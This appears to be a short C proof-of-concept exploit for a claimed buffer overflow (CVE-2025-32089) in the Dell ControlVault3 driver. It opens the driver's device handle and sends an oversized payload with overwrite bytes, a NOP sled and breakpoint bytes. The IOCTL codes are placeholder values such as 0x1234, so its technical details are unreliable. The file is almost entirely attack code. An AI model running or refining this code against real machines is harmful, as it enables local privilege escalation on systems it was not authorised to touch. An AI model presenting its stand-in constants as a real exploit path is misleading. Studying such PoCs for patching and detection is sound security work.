// CVE-2025-32089 PoC - Dell ControlVault3 Buffer Overflow
// This PoC demonstrates sending a malformed API call to trigger buffer overflow
// NOTE: This is for educational and authorized testing purposes only
#include <windows.h>
#include <stdio.h>
// ControlVault API definitions
#define CONTROLVAULT_API_CALL 0x1234
#define CV_SBI_COMMAND 0x5678
typedef struct {
DWORD command;
DWORD paramSize;
LPVOID paramBuffer;
} CV_SBI_REQUEST;
// Malformed payload that triggers overflow
unsigned char malicious_payload[] = {
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, // padding
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x42, 0x42, 0x42, 0x42, // overwrite address
0x43, 0x43, 0x43, 0x43,
0x44, 0x44, 0x44, 0x44,
0x45, 0x45, 0x45, 0x45,
0x90, 0x90, 0x90, 0x90, // NOP sled
0xCC, 0xCC, 0xCC, 0xCC // int3 for debugging
};
int trigger_vulnerability() {
HANDLE hDevice;
DWORD bytesReturned;
CV_SBI_REQUEST request;
// Open handle to ControlVault driver
hDevice = CreateFile(
"\\\\.\\CvSbi",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open ControlVault device\n");
return -1;
}
printf("[+] Connected to ControlVault device\n");
// Prepare malicious request
request.command = CV_SBI_COMMAND;
request.paramSize = sizeof(malicious_payload);
request.paramBuffer = malicious_payload;
printf("[*] Sending malformed API call (size: %d bytes)...\n",
request.paramSize);
// Send malicious request - this triggers buffer overflow
BOOL result = DeviceIoControl(
hDevice,
CONTROLVAULT_API_CALL,
&request,
sizeof(request),
NULL,
0,
&bytesReturned,
NULL
);
if (!result) {
printf("[!] DeviceIoControl failed - vulnerability may be triggered\n");
}
CloseHandle(hDevice);
return 0;
}
int main() {
printf("CVE-2025-32089 PoC - Dell ControlVault3 Buffer Overflow\n");
printf("Target: Dell ControlVault3 < 5.15.14.19\n");
printf("CVSS: 8.8 (High)\n\n");
trigger_vulnerability();
return 0;
}